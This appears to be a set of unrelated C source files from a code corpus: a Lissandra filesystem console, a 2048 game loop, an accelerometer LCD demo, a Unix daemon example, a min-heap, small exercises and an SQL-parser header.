log_info(LOGGERFS,"Hilo de threadServer finalizado");
log_info(LOGGERFS,"Esperando a threadCompactador");
pthread_join( threadCompactador, NULL);
log_info(LOGGERFS,"Hilo de threadCompactador finalizado");
log_info(LOGGERFS,"Esperando a threadMonitoreadorDeArchivos");
//pthread_join(threadMonitoreadorDeArchivos, NULL);
struct timespec ts;
clock_gettime(CLOCK_REALTIME, &ts);
ts.tv_sec += 8;
//hago esto para q despues de 8 segundo force el cerrado del hilo
int s = pthread_timedjoin_np(threadMonitoreadorDeArchivos, NULL, &ts);
log_info(LOGGERFS,"Hilo de threadMonitoreadorDeArchivos finalizado");
log_info(LOGGERFS,"Todos los hilos han finalizado");
return EXIT_SUCCESS;
}
char** parser_instruccion(char* linea){
char** instruccion = string_split(linea, " ");
return instruccion;
}
int consolaSelect(char* nombreDeLaTabla,uint16_t key){
tp_nodoDeLaTabla nodo = selectf(nombreDeLaTabla, key);
if(nodo!=NULL){
if(nodo->resultado==KEY_NO_EXISTE ){
free(nodo);
log_info(LOGGERFS,"No hay ningun valor de esa key(%d) en la tabla seleccionada(%s)",
key, nombreDeLaTabla);
printf("No hay ningun valor de esa key(%d) en la tabla seleccionada(%s)\n",
key, nombreDeLaTabla);
}
else if(nodo->resultado==KEY_OBTENIDA){
log_info(LOGGERFS,"Resultado del select, Value: %s, Timpestamp: %.0f, para la key %d, de la tabla %s",
nodo->value, nodo->timeStamp, key, nombreDeLaTabla);
printf("Resultado del select, Value: %s, Timpestamp: %.0f, para la key %d, de la tabla %s\n",
nodo->value, nodo->timeStamp, key, nombreDeLaTabla);
free(nodo->value);
free(nodo);
}
else if (nodo->resultado==TABLA_NO_EXISTIA){
log_info(LOGGERFS,"La tabla %s pedida en el select con key %d no existe",nombreDeLaTabla,key);
printf("La tabla %s pedida en el select con key %d no existe\n",nombreDeLaTabla,key);
free(nodo);
}
else{
free(nodo);
log_error(LOGGERFS,"Resultado inesperado, alerta!!!");
}
}
else{
log_error(LOGGERFS,"Resultado inesperado, alerta!!!, resultado del selectf==NULL");
}
return EXIT_SUCCESS;
}
int consolaInsert(char* nombreDeLaTabla,uint16_t key,char* valor,double timestamp){
insert(nombreDeLaTabla,key,valor,timestamp);
return EXIT_SUCCESS;
}
int consolaInsertSinTime(char* nombreDeLaTabla,uint16_t key,char* valor){
insertSinTime(nombreDeLaTabla,key,valor);
return EXIT_SUCCESS;
}
int consolaCreate(char* nombreDeLaTabla,char* tipoDeConsistencia,int numeroDeParticiones,int tiempoDeCompactacion){
log_info(LOGGERFS,"Haciendo un create por consola");
int resultado = (create(nombreDeLaTabla, tipoDeConsistencia, numeroDeParticiones, tiempoDeCompactacion));
log_info(LOGGERFS,"Create de consola finalizado con el valor: %d", resultado);
if(resultado==TABLA_CREADA)
log_info(LOGGERFS,"Tabla creada exitosamente");
return resultado;
}
void imprimirMetadataDescribeAll(tp_describe_rta unaMetadata){
printf("Info de la tabla: %s\n",unaMetadata->nombre);
printf("Numero de particiones: %d\n",unaMetadata->particiones);
printf("Tipo de consistencia: %s\n",unaMetadata->consistencia);
printf("Tiempo de compactacion: %d\n",unaMetadata->tiempoDeCompactacion);
printf("\n");
}
int consolaDescribe(t_list* descriptores){
log_info(LOGGERFS,"Haciendo un describe por consola de todas las tablas");
if(descriptores==NULL){
log_info(LOGGERFS,"No se hizo describe porque no hay tablas en el fs");
return EXIT_SUCCESS;//es EXIT_FAILURE que no haya tablas?
} else{
list_iterate(descriptores,imprimirMetadataDescribeAll);
liberarYDestruirTablaDeMetadata(descriptores);
return EXIT_SUCCESS;
}
}
int consolaDescribeDeTabla(char* nombreDeLaTabla){
log_info(LOGGERFS,"Haciendo un describe por consola de la tabla %s", nombreDeLaTabla);
t_metadataDeLaTabla metadataDeLaTabla = describe(nombreDeLaTabla);
if((metadataDeLaTabla.particiones!=-1)&&
(metadataDeLaTabla.tiempoDeCompactacion!=-1)&&
(metadataDeLaTabla.consistencia!=NULL)){
log_info(LOGGERFS,"Info de la tabla %s recuperada",nombreDeLaTabla);
printf("Info de la tabla: %s\n",nombreDeLaTabla);
printf("Numero de particiones: %d\n",metadataDeLaTabla.particiones);
printf("Tipo de consistencia: %s\n",metadataDeLaTabla.consistencia);
printf("Tiempo de compactacion: %d\n",metadataDeLaTabla.tiempoDeCompactacion);
free(metadataDeLaTabla.consistencia);
}
return EXIT_SUCCESS;
}
int consolaDrop(char* nombreDeLaTabla){
log_info(LOGGERFS,"Haciendo un drop por consola");
if(drop(nombreDeLaTabla)==TABLA_BORRADA){
log_info(LOGGERFS,"Tabla %s borrada exitosamente", nombreDeLaTabla);
return EXIT_SUCCESS;
}else{
log_error(LOGGERFS,"No se pudo borrar la tabla %s", nombreDeLaTabla);
return EXIT_FAILURE;
}
}
int man(){
printf("Mostrando funciones disponibles de la consola:\n");
printf("1) \"exit\" finaliza el programa\n");
printf("2) SELECT [NOMBRE_TABLA] [KEY]\n");
printf("3) INSERT [NOMBRE_TABLA] [KEY] “[VALUE]” [Timestamp]\n");
printf("4) CREATE [NOMBRE_TABLA] [TIPO_CONSISTENCIA] [NUMERO_PARTICIONES] [COMPACTION_TIME]\n");
printf("5) DESCRIBE [NOMBRE_TABLA]\n");
printf("6) DESCRIBE, da la info de todas las tablas\n");
printf("7) DROP [NOMBRE_TABLA]\n");
printf("8) \"config\", muestra por pantalla la configuracion actual de todo el sistema\n");
printf("9) \"reloadconfig\", recarga la configuracion del los archivos al sistema\n");
printf("10) \"bitmap\", imprime el estado de cada bloque del FS\n");
printf("11) \"existeLaTabla\", te dice si la tabla existe o no\n");
printf("12) \"pmemtable\", imprime los datos de la memtable en pantalla\n");
printf("13) \"dumpear\" [NOMBRE DE LA TABLA], fuerza el dumpeo de la tabla\n");
return EXIT_SUCCESS;
}
int imprimirConfiguracionDelSistema(){
printf("Configuracion del sistema:\n");
printf("Puerto de escucha: %d\n",configuracionDelFS.puertoEscucha);
printf("Punto de montaje: \"%s\"\n",configuracionDelFS.puntoDeMontaje);
printf("Retardo: %d\n",obtenerRetardo());
printf("Tamaño maximo: %d\n",configuracionDelFS.sizeValue);
printf("Tiempo dump: %d\n",obtenerTiempoDump());
printf("Tamaño de los bloques: %d\n",metadataDelFS.blockSize);
printf("Cantidad de bloques: %d\n",metadataDelFS.blocks);
printf("Magic number: %s\n",metadataDelFS.magicNumber);
printf("Archivo bitmap: %s\n",archivoDeBitmap);
printf("Directorio con la metadata: %s\n",directorioConLaMetadata);
printf("Archivo con la metadata: %s\n",archivoDeLaMetadata);
return EXIT_SUCCESS;
}
int reloadConfig(){
//Actualiza los datos lissandra con las modificaciones que se le hayan hecho a los achivos de configuracion
/* Solamente se pueden actualizar los valores:
* retardo
* tiempo_dump
* en tiempo de ejecucion*/
char* pathCompleto;
pathCompleto=string_new();
string_append(&pathCompleto, pathDeMontajeDelPrograma);
string_append(&pathCompleto, "Configuracion");
string_append(&pathCompleto, "/configuracionFS.cfg");
t_config* configuracion = config_create(pathCompleto);
if(configuracion!=NULL){
log_info(LOGGERFS,"El archivo de configuracion existe");
}else{
log_error(LOGGERFS,"No existe el archivo de configuracion en: %s",pathCompleto);
log_error(LOGGERFS,"No se pudo levantar la configuracion del FS, abortando");
return EXIT_FAILURE;
}
log_info(LOGGERFS,"Abriendo el archivo de configuracion del FS, su ubicacion es: %s",pathCompleto);
//Recupero el tiempo dump
if(!config_has_property(configuracion,"TIEMPO_DUMP")) {
log_error(LOGGERFS,"No esta el TIEMPO_DUMP en el archivo de configuracion");
config_destroy(configuracion);
log_error(LOGGERFS,"No se pudo levantar la configuracion del FS, abortando");
return EXIT_FAILURE;
}
int tiempoDump;
tiempoDump = config_get_int_value(configuracion,"TIEMPO_DUMP");
actualizarTiempoDump(tiempoDump);
log_info(LOGGERFS,"Tiempo dump del archivo de configuracion del FS recuperado: %d",
obtenerTiempoDump());
//Recupero el retardo
if(!config_has_property(configuracion,"RETARDO")) {
log_error(LOGGERFS,"No esta el RETARDO en el archivo de configuracion");
config_destroy(configuracion);
log_error(LOGGERFS,"No se pudo levantar la configuracion del FS, abortando");
return EXIT_FAILURE;
}
int retardo;
retardo = config_get_int_value(configuracion,"RETARDO");
actualizarRetardo(retardo);
log_info(LOGGERFS,"Retardo del archivo de configuracion del FS recuperado: %d",
obtenerRetardo());
config_destroy(configuracion);
log_info(LOGGERFS,"Configuracion del FS recuperada exitosamente");
return EXIT_SUCCESS;
}
int imprimirMemtableEnPantalla(){
void imprimirTabla(void* nodoDeLaMemtable){
void imprimirValores(void* nodoDeUnaTabla){
printf("Key: %d / Timestamp: %.0f / Value: %s\n",
((tp_nodoDeLaTabla)nodoDeUnaTabla)->key,
((tp_nodoDeLaTabla)nodoDeUnaTabla)->timeStamp,
((tp_nodoDeLaTabla)nodoDeUnaTabla)->value);
}
if(!list_is_empty(((tp_nodoDeLaMemTable)nodoDeLaMemtable)->listaDeDatosDeLaTabla)){
printf("Nombre de la tabla: %s\n",
((tp_nodoDeLaMemTable)nodoDeLaMemtable)->nombreDeLaTabla);
list_iterate(((tp_nodoDeLaMemTable)nodoDeLaMemtable)->listaDeDatosDeLaTabla,
imprimirValores);
}
}
log_info(LOGGERFS,"Bloqueando memtable");
pthread_mutex_lock(&mutexDeLaMemtable);
if(!list_is_empty(memTable)){
list_iterate(memTable,imprimirTabla);
}
log_info(LOGGERFS,"Desbloqueando memtable");
pthread_mutex_unlock(&mutexDeLaMemtable);
return EXIT_SUCCESS;
}
|
C |
#ifndef HISTOGRAM_H
#include <stdlib.h>
typedef struct {
int nbuckets;
int overflow;
int shift;
int nvals;
long long sum;
int buckets[0]; // always at the end
} histogram_t;
void hist_init( histogram_t *h, int nbuckets, int shift );
histogram_t* hist_new( int nbuckets, int shift );
static inline void hist_add( histogram_t *h, int val )
{
val = val >> h->shift;
if( val < h->nbuckets )
h->buckets[val]++;
else
h->overflow++;
h->nvals++;
h->sum += val;
}
static inline int hist_mean( histogram_t *h )
{
if( h->nvals == 0 )
return 0;
else
return ((int) (h->sum / h->nvals)) << h->shift;
}
static inline int hist_num( histogram_t *h )
{
return h->nvals;
}
static inline void hist_reset( histogram_t *h )
{
hist_init(h, h->nbuckets, h->shift);
}
#endif //HISTOGRAM_H
|
C | #include <stdio.h>
#include <stdbool.h>
#include <stdlib.h>
#include <libintl.h>
#include <locale.h>
#include "ai.h"
#include "engine.h"
#include "gfx.h"
#define _(STRING) gettext(STRING)
void draw_then_sleep(struct gfx_state *s, struct gamestate *g)
{
gfx_draw(s, g);
/* Have a fixed time for each turn to animate (160 default) */
gfx_sleep(160 / g->opts->grid_width);
}
int main(int argc, char **argv)
{
/* Setting the i18n environment */
setlocale (LC_ALL, "");
bindtextdomain ("messages", "./po");
textdomain ("messages");
struct gamestate *g = gamestate_init(argc, argv);
if (!g) {
fatal("failed to allocate gamestate");
}
struct gfx_state *s = NULL;
if (g->opts->interactive) {
s = gfx_init(g);
if (!s) {
fatal("failed to allocate gfx state");
}
}
int game_running = true;
while (game_running) {
if (g->opts->interactive)
gfx_draw(s, g);
get_new_key:;
int direction = dir_invalid;
int value = !g->opts->ai ? gfx_getch(s) : ai_move(g);
switch (value) {
case 'h':
case 'a':
direction = dir_left;
break;
case 'l':
case 'd':
direction = dir_right;
break;
case 'j':
case 's':
direction = dir_down;
break;
case 'k':
case 'w':
direction = dir_up;
break;
case 'q':
game_running = false;
break;
default:
goto get_new_key;
}
/* Game will only end if 0 moves available */
if (game_running) {
gamestate_tick(s, g, direction, g->opts->animate && g->opts->interactive
? draw_then_sleep : NULL);
if (g->moved == 0)
goto get_new_key;
int spawned;
for (spawned = 0; spawned < g->opts->spawn_rate; spawned++)
gamestate_new_block(g);
if (gamestate_end_condition(g)) {
game_running = false;
}
}
}
if (g->opts->interactive) {
// gfx_getch(s); // getch here would be good,
// need an exit message for each graphical output
gfx_destroy(s);
}
printf("%ld\n", g->score);
gamestate_clear(g);
return 0;
}
|
C | /*************************************************************
m a i n . c
Practica 3
*************************************************************/
// Basic definitions
#include "Base.h"
#include "lcd.h"
#include "accel.h"
//// Llegeix XYZ
//int main(void){
// char cx[10], cy[10], cz[10], who[10];
// int32_t x, y, z, who_am_i;
// baseInit();
// LCD_Init();
// LCD_ClearDisplay();
// LCD_Config(1, 0, 0);
// initAccel();
// SLEEP_MS(500);
// who_am_i = readAccel(0x0F, 1);
// LCD_SendString(itoa(who_am_i, who, 16));
// while (1) {
// x = readAccel(0x29, 1);
// y = readAccel(0x2b, 1);
// z = readAccel(0x2d, 1);
// //Imprimir els valors usant itoa sobre la lectura x, y i z
// LCD_GotoXY(0, 0);
// LCD_SendString("X:");
// LCD_SendString(itoa(x, cx, 10));
// LCD_SendString(" Y:");
// LCD_SendString(itoa(y, cy, 10));
// LCD_SendString(" Z:");
// LCD_SendString(itoa(z, cz, 10));
// SLEEP_MS(50);
// LCD_ClearDisplay();
// }
//}
//
void displayAccel(int32_t x, int32_t y) {
int32_t maxX, minX, maxY, minY;
maxX = 35;
minX = -35;
maxY = 35;
minY = -35;
// Fer que els mxims d'inclinaci siguin +- 45
if (x > maxX)
x = maxX;
else if (x < minX)
x = minX;
if (y > maxY)
y = maxY;
else if (y < minY)
y = minY;
// Com que per filera tenim 16 columnes, la columna central ser la 8
// Els asteriscs es podran moure 7 columnes a esquerra i dreta
int32_t posX = (int32_t) x * 7 / maxX + 7;
int32_t posY = (int32_t) y * 7 / maxY + 7;
LCD_GotoXY(posX, 0);
LCD_SendString("*");
LCD_GotoXY(posY, 1);
LCD_SendString("*");
}
int main(void) {
baseInit();
LCD_Init();
initAccel();
LCD_ClearDisplay();
LCD_Config(1, 0, 0); // Apaguen cursor i intermitncia
LCD_ClearDisplay();
int32_t x, y, xini, yini;
int32_t i;
// Farem la mitja de 1000 mostres per evitar fluctuacions
int32_t N = 100;
// Emmagatzarem les mostres en una matriu, 1a columna per les x i 2a per y
int32_t mostres[N][2];
xini = readAccel(0x29, 1);
yini = readAccel(0x2b, 1);
// Imatge quan arrenca
// Com la LCD t 2 files de 16 columnes, el centre sera la col pos 7
LCD_GotoXY(7, 0);
LCD_SendString("*");
LCD_GotoXY(7, 1);
LCD_SendString("*");
SLEEP_MS(1000);
while (1) {
for (i = 0; i < N; i++) {
mostres[i][0] = readAccel(0x29, 1);
mostres[i][1] = readAccel(0x2b, 1);
}
// Fem la mitjana i la assignem a les posicions inicials
for (i = 0; i < N; i++) {
x += (mostres[i][0]- xini);
y += (mostres[i][1]-yini);
}
x /= N;
y /= N;
SLEEP_MS(20);
LCD_ClearDisplay();
displayAccel(x, y);
}
}
|
C | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <conio.h>
int numEspacos(char *str){
if(str[0] == '\0'){
return 0;
}
if(str[0] == ' '){
return 1 + numEspacos(str + 1);
}
return 0 + numEspacos(str + 1);
}
void imp2Cont(int i, int n){
if(i == n){
printf("%d\n", i);
return;
}
printf("%d\n", i);
imp2Cont(i+1, n);
printf("%d\n", i);
}
int main(){
char str[100] = "oi tudobem";
printf("%d", numEspacos(str));
return 0;
} |
C | #include <stdio.h>
#include <malloc.h>
#include <math.h>
void main()
{
float salary;
printf("\atest salary:");
printf("$_____\b\b\b\b\b");
scanf("%f",&salary);
printf("\n$%.2f month is $%,2f a year",salary,salary * 12.0);
printf("\rGee!\n");
}
void ecnu17()
{
int count;
double point[1001];
int i,j;
int caseclass;
int a,b;
double pa,sa,ka,pb,sb,kb;
int temp;
for(i=0;i<1001;i++)
{
point[i]=1500l;
}
scanf("%d",&count);
while(count)
{
count--;
scanf("%d",&caseclass);
if(caseclass==3)
{
scanf("%d",&a);
printf("%4.6lf\n",point[a]);
}
else
{
scanf("%d%d",&a,&b);
pa=1.0/(1+pow(10,(point[b]-point[a])/400.0));
pb=1.0/(1+pow(10,(point[a]-point[b])/400.0));
if(point[a]<2100)
{
ka=32;
}
else if(point[a]<2400)
{
ka=24;
}
else
{
ka=16;
}
if(point[b]<2100)
{
kb=32;
}
else if(point[b]<2400)
{
kb=24;
}
else
{
kb=16;
}
if(caseclass==1)
{
sa=1.0;
sb=0;
}
else
{
sa=0.5;
sb=0.5;
}
point[a]=point[a]+ka*(sa-pa);
point[b]=point[b]+kb*(sb-pb);
}
}
}
void ecnu12()
{
int casenum;
int pathnum;
int citynum;
int**graph;
int*classa;
int*classb;
int alen;
int blen;
int i,j;
int a,b;
int could=1;
int now=0;
scanf("%d",&casenum);
while(casenum)
{
now++;
could=1;
casenum--;
scanf("%d",&citynum);
graph=(int**)malloc(citynum*sizeof(int*));
classa=(int*)malloc(citynum*sizeof(int));
alen=0;
classb=(int*)malloc(citynum*sizeof(int));
blen=0;
for(i=0;i<citynum;i++)
{
graph[i]=(int*)malloc(citynum*sizeof(int));
for(j=0;j<citynum;j++)
{
graph[i][j]=0;
}
}
scanf("%d",&pathnum);
for(i=0;i<pathnum;i++)
{
scanf("%d%d",&a,&b);
graph[a-1][b-1]=1;
graph[b-1][a-1]=1;
}
for(i=0;i<citynum;i++)
{
if(graph[0][i])
{
classb[blen]=i;
blen++;
}
else
{
classa[alen]=i;
alen++;
}
}
for(i=1;i<citynum;i++)
{
for(j=citynum-1;j>i;j--)
{
if(searchin(classa,alen,i))
{
if(graph[i][j]==0)
{
if(searchin(classa,alen,j))
{
could=0;
}
}
else
{
if(searchin(classb,blen,j))
{
could=0;
}
}
}
else
{
if(graph[i][j]==0)
{
if(searchin(classb,blen,j))
{
could=0;
}
}
else
{
if(searchin(classa,alen,j))
{
could=0;
}
}
}
}
}
printf("Case %d: ",now);
if(could)
{
printf("YES\n");
}
else
{
printf("NO\n");
}
for(i=0;i<citynum;i++)
{
free(graph[i]);
}
free(classa);
free(classb);
free(graph);
}
}
int searchin(int*set,int len,int target)
{
int i;
for(i=0;i<len;i++)
{
if(set[i]==target)
{
return 1;
}
}
return 0;
}
|
C | #include<stdio.h>
#include<stdlib.h>
struct MinHeap
{
unsigned size;
unsigned capacity;
int *harr;
};
void swap(int *a,int *b)
{
int temp;
temp=*a;
*a=*b;
*b=temp;
}
struct MinHeap* createMinHeap(unsigned capacity)
{
struct MinHeap* minHeap=(struct MinHeap*)malloc(sizeof(struct MinHeap));
minHeap->size=0;
minHeap->capacity=capacity;
minHeap->harr=malloc(sizeof(struct MinHeap)*capacity);
if(!minHeap->harr)
{
return NULL;
}
return minHeap;
}
void minHeapify(struct MinHeap* minHeap,int index)
{
int l=2*index+1;
int r=2*index+2;
int smallest=index;
if(l<minHeap->size && minHeap->harr[l]<minHeap->harr[index])
{
smallest=l;
}
if(r<minHeap->size && minHeap->harr[r]<minHeap->harr[index])
{
smallest=r;
}
if(smallest!=index)
{
swap(&minHeap->harr[index],&minHeap->harr[smallest]);
minHeapify(minHeap,smallest);
}
}
void buildMinHeap(struct MinHeap* minHeap)
{
int n=minHeap->size;
for(int i=(n/2)-1;i>=0;i--)
{
minHeapify(minHeap,i);
}
}
struct MinHeap* createAndBuildMinHeap(int len[],int size)
{
struct MinHeap* minHeap=createMinHeap(size);
for(int i=0;i<size;++i)
{
minHeap->harr[i]=len[i];
}
minHeap->size=size;
buildMinHeap(minHeap);
return minHeap;
}
int SizeOne(struct MinHeap* minHeap)
{
return(minHeap->size==1);
}
void insertMinHeap(struct MinHeap* minHeap,int val)
{
++minHeap->size;
int i=minHeap->size-1;
if(i && (val <minHeap->harr[(i-1)/2]))
{
minHeap->harr[i]=minHeap->harr[(i-1)/2];
i=(i-1)/2;
}
minHeap->harr[i]=val;
}
int extractMin(struct MinHeap* minHeap)
{
int temp=minHeap->harr[0];
minHeap->harr[0]=minHeap->harr[minHeap->size-1];
--minHeap->size;
minHeapify(minHeap,0);
return temp;
}
int minCost(int len[],int n)
{
int cost=0;
struct MinHeap* minHeap=createAndBuildMinHeap(len,n);
while(!SizeOne(minHeap))
{
int min=extractMin(minHeap);
int sec_min=extractMin(minHeap);
cost=cost+(min+sec_min);
insertMinHeap(minHeap,min+sec_min);
}
return cost;
}
int main()
{
int n,i;
scanf("%d",&n);
int arr[n];
for(i=0;i<n;i++)
{
scanf("%d",&arr[i]);
}
printf("%d ",minCost(arr,n));
return 0;
}
|
C | #include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
char *readFile(char *filename, int *readSize) { //read file
FILE *fp = fopen(filename, "r+");
if (fp == NULL) {
return NULL;
}
int size;
//size of file
fseek(fp, 0, SEEK_END);
size = ftell(fp);
fseek(fp, 0, SEEK_SET);
char *buffer;
buffer = malloc (size+1);
//buffer = (char*)malloc(sizeof(char)*size);
//buffer = (char*)malloc(size + 1);
memset(buffer, 0, size + 1);
//fread(buffer, 1, size, fp)
if (fread(buffer, 1, size, fp) < 1) {
*readSize = 0;
free(buffer);
fclose(fp);
return NULL;
}
*readSize = size;
fclose(fp);
return buffer;
}
|
C | #include <stdio.h>
int main(){
FILE *f1, *f2;
char c;
int i;
f1 = fopen("XMinusOne57-03-06091TheSeventhVictim.mp3", "rb");
f2 = fopen("file.mp3", "wb");
fseek(f1, 84172, SEEK_SET);
i = 0;
c = fgetc(f1);
while (i < 140000){
fputc(c, f2);
c = fgetc(f1);
i++;
}
fseek(f1, -1, SEEK_CUR);
printf("file\n");
fclose(f1);
fclose(f2);
}
|
C | #include<stdio.h>
int status[10001]={0};
int main()
{
int m,n,i,j,k,x;
status[0]=status[1]=1;
for(i=2;i<=100;i++)
{
if(status[i]==0)
for(j=i+i;j<=10000;j+=i)
status[j]=1;
}
scanf("%d",&m);
for(i=0;i<m;i++)
{
scanf("%d",&n);
for(j=n/2+1;status[j]!=0;j++);
printf("%d\n",j);
}
return 0;
}
|
C | #include <stdio.h>
main() {
int m, a;
printf("digita mese e anno\n");
scanf("%d%d", &m, &a);
if (m == 2)
// febbraio
if ((a % 4 == 0 && a % 100 != 0) || a % 400 == 0)
// anno bisestile
printf("29\n");
else
// anno non bisestile
printf("28\n");
else if (m == 4 || m == 6 || m == 9 || m == 11)
// aprile, giugno, settembre, novembre
printf("30\n");
else
// altri mesi
printf("31\n");
}
|
C | /***********************************************************************
*
* 开发守护进程
*
**********************************************************************/
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <time.h>
#include <syslog.h>
#include <sys/resource.h> // use getrlimit
#include <signal.h> // use sigaction
#include <stdlib.h> // use exit,system
void create_daemon(void)
{
// 文件描述符
int i, fd0, fd1, fd2;
// 进程ID
pid_t pid;
// 资源限制
struct rlimit rl;
// 信号动作
struct sigaction sa;
//
// 函数:umask
// 功能:设置文件模式的屏蔽属性。即,通过umask可禁掉某些属性。
//
// 目的:调用umask将文件模式创建屏蔽字设置为0,确保所有文件模式可用。
//
umask(0);
//
// 函数:getrlimit(RLIMIT_NOFILE, **);
// 功能:获取资源限制,RLIMIT_NOFILE表示每个进程能打开的最大文件数。
//
// 目的:获取文件描述符的信息
//
if (getrlimit(RLIMIT_NOFILE, &rl) < 0)
{
printf("can not get file limit");
return;
}
//
// 函数:fork
// 功能:创建子进程。子进程继承父进程的进程组ID,但具有一个新的进程ID。
// 这确保了,子进程不是一个进程组的组长进程。
//
// 函数:setsid
// 功能:创建新会话,当前进程是,新会话首进程,也是新会话的唯一进程。该进程
// 会成为一个新进程组的组长进程,新进程组ID就是该调用进程的进程ID
// 注意:如果调用进程是一个进程组的组长,则此函数会返回出错。为了确保不会
// 发生这种情况,通常先调用fork,然后使其父进程终止,而子进程则继续。
//
// 目的:使得目标调用进程,达到以下目的。
// a) 成为新会话的首进程
// b) 成为一个新进程组的组长进程
// c) 没有控制终端
//
if ((pid = fork()) < 0)
{
printf("can not fork");
return;
}
else if (pid != 0)
{
exit(0);
}
setsid();
//
// 函数:sigemtpyset(sigset_t *set)
// 功能:初始化由set指向的信号集,清楚其中所有信号。
//
// 函数:int sigaction(int signo, const struct sigaction * restrict act, struct sigaction *restrict oact);
// 功能:检查或者修改与指定信号相互关联的处理动作。其中,参数signo是要检测或修改其具体动作的信号编号。
// 若act指针非空,则要修改其动作。如果oact指针非空,则系统经由oact指针返回该信号的上一个动作。
// 注意:SIG_IGN是常量,用于代替指向函数的指针。该函数需要一个整型参数,而且无返回值。
// #define SIG_DFL (void (*)())0
// #define SIG_IGN (void (*)())1
//
// 目的:忽略连接断开信号SIGHUP
//
sa.sa_handler = SIG_IGN;
sigemptyset(&sa.sa_mask);
sa.sa_flags = 0;
if (sigaction(SIGHUP, &sa, NULL) < 0)
{
printf("can not ignore SIGHUP");
return;
}
// 目的:再次fork,并使父进程终止。第二个子进程作为守护进程继续运行。这样就保证了该守护进程不是会话首进程。
// 可以防止它取得控制终端。
if ((pid = fork()) < 0)
{
printf("can not fork");
return;
}
else if (pid != 0)
{
exit(0);
}
//
// 函数:chdir
// 功能:更改当前动作目录。当前工作目录是进程的一个属性。此目录是搜索相对路径名的起点。
//
// 目的:使得进程不与任何文件系统联系。
if (chdir("/usr/wlm/dev") < 0)
{
printf("can not change directory");
return;
}
// 目的:关闭不再需要的文件描述符。这使守护进程不再持有从其父进程继承来的某些文件描述符。
if (rl.rlim_max == RLIM_INFINITY)
{
rl.rlim_max = 1024;
}
for (i = 0; i < rl.rlim_max; i++)
{
close(i);
}
//
// 函数:int open(const char * pathname, int oflag, ...);
// 功能:打开或者创建一个文件。O_RDWR表示“读,写打开”
//
// 函数:int dup(int filedes);
// 功能:复制一个现存的文件描述符,返回的新文件描述符一定是当前可用文件描述符中的最小数值。
// 通常等于输入的文件描述符+1;
//
// 目的:守护进程打开/dev/null使其具有文件描述符0,1,2。这样,任何一个试图读标准输入,
// 写标准输出,或者标准出错的例程都不会产生任何效果。因为守护进程并不与终端设备
// 相关联,所以不能在终端设备上显示其输出,也无处从交互式用户那里接收输入。
fd0 = open("/dev/null", O_RDWR);
fd1 = dup(0);
fd2 = dup(0);
if (fd0 != 0 || fd1 != 1 || fd2 != 2)
{
printf("unexpected file descriptors %d %d %d", fd0, fd1, fd2);
exit(1);
}
// 重点:守护进程做任务
//
// 函数:int system(const char * cmdstring);
// 功能:执行一个命令字符串。
// 示例:system("date > file");
//
system("echo \"hello,world!\\n\" >> wlm");
time_t now;
while (1)
{
sleep(30);
//
// 函数:FILE * fopen(const char * restrict pathname, const char * restrict type);
// 功能:打开一个标准I/O流
// 注意:type="r+ 或r+b 或rb+",表示为读写而打开。
// type="a+", 表示open or create for reading and writing at end of file
//
FILE * fd = fopen("wlm", "a+");
//
// 函数:time_t time(time_t * calptr);
// 功能:返回当前时间和日期
// 注意:返回时间值。如果参数不为空,则时间值也存放在由calptr指向的单元内
//
time(&now);
//
// 函数:int fprintf(FILE *restrict fp, const char *restrict format, ...);
// 功能:写至指定的流
//
fprintf(fd, "system time:\t%s\t\t pid:%d\n", ctime(&now), getpid());
fclose(fd);
}
}
int main()
{
printf("hello,welcome to create daemon.\r\n");
// 创建守护进程
create_daemon();
return 0;
} |
C | #include<stdio.h>
#include <sys/resource.h>
int appgetrusage(struct rusage *);
int appgetdiffrusage(struct rusage *, struct rusage *);
int main() {
struct rusage begin, end;
appgetrusage(&begin);
/*
* core of the program goes here
* where lot of system threads are spawned and joined
*
*/
appgetrusage(&end);
appgetdiffrusage(&begin, &end);
return 0;
}
int appgetrusage(struct rusage *usage){
int who = RUSAGE_SELF;
struct timeval start, end;
getrusage(RUSAGE_SELF, usage);
return 1;
}
int appgetdiffrusage(struct rusage *oldr, struct rusage *newr){
printf("\n");
printf("user time (ms): %llu\n",1000 * ((newr->ru_utime).tv_sec - (oldr->ru_utime).tv_sec) +
((newr->ru_utime).tv_usec - (oldr->ru_utime).tv_usec) / 1000);
printf("system time (ms): %ld\n", 1000 * ((newr->ru_stime).tv_sec - (oldr->ru_stime).tv_sec) +
((newr->ru_stime).tv_usec - (oldr->ru_stime).tv_usec) / 1000);
printf("voluntary context switches : %ld\n", newr->ru_nvcsw - oldr->ru_nvcsw);
printf("involuntary context switches : %ld\n", newr->ru_nivcsw - oldr->ru_nivcsw);
return 1;
}
|
C | /* (h) Write a program to find the absolute value of a number entered through the keyboard. */
#include<stdio.h>
void main()
{
int n, number;
printf("Enter the number\n");
scanf("%d", &n);
if(n > 0)
{
number = n;
printf("The absolute value of %d is %d\n", n, number);
}
if(n < 0)
{
number = -1 * n;
printf("The abosulute value of %d is %d\n", n, number);
}
}
|
C | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
extern int yylinenumber;
//Structure for Entry Specifications
typedef struct AndEntry{
int operation;
int firstVal;
int secondVal;
int findInteger1, findInteger2;
bool isCondition;
bool isNegation;
char *tableEntry1, *tableEntry2;
char *columnEntry1, *columnEntry2;
char *firstString, *secondString;
struct AndEntry* nextPtr;
struct OrList* nestedCond;
} AndEntry;
//List of AndEntry structures
typedef struct AndList {
AndEntry* head;
AndEntry* tail;
struct AndList* nextPtr;
} AndList;
//List to make OrEntry structures
typedef struct OrList {
AndList* head;
AndList* tail;
} OrList;
//Functions to perform sanity check and compute required SQL operation - Detailes explanation for each function in helper.c
AndList combineAndList(struct AndList and_condition, struct AndEntry expr);
OrList combineOrList(struct OrList or_condition, struct AndList and_condition);
void ShowList(struct OrList or_condition);
char *getType(char *tbl, int indCol);
char *returnValue(char *str, int indCol);
int columnNumber(char *tbl, char *col);
int showEquiJoin(char *tableEntry1, char *tableEntry2, struct OrList *conditions);
int computingCondSelect(struct OrList condition, char *str, char* tblTitle);
int makeComplement(int oper);
int operandComparison(int num1, int num2, int oper);
int operandComparisonString(char *firstString, char *secondString, int oper);
int comparatorSelect(struct AndEntry unit, char *firstString, char* tblTitle);
int computingCondEquiJoin(struct OrList condition, char *firstString, char *secondString, char *tableEntry1, char *tableEntry2);
